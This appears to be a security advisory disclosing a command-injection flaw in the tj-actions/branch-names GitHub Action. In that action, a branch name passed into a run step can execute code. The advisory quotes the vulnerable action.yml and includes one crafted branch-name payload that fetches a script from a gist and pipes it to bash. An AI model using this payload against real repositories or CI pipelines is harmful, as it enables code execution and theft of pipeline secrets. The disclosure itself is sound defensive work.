Summary

The tj-actions/branch-names GitHub Actions references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/" ]]; then BASEREF=$(printf "%q" "${{ github.event.pullrequest.base.ref || github.baseref }}") HEADREF=$(printf "%q" "${{ github.event.pullrequest.head.ref || github.headref }}") REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact An attacker can use this vulnerability to steal secrets from or abuse GITHUBTOKEN permissions.

Reference - https://securitylab.github.com/research/github-actions-untrusted-input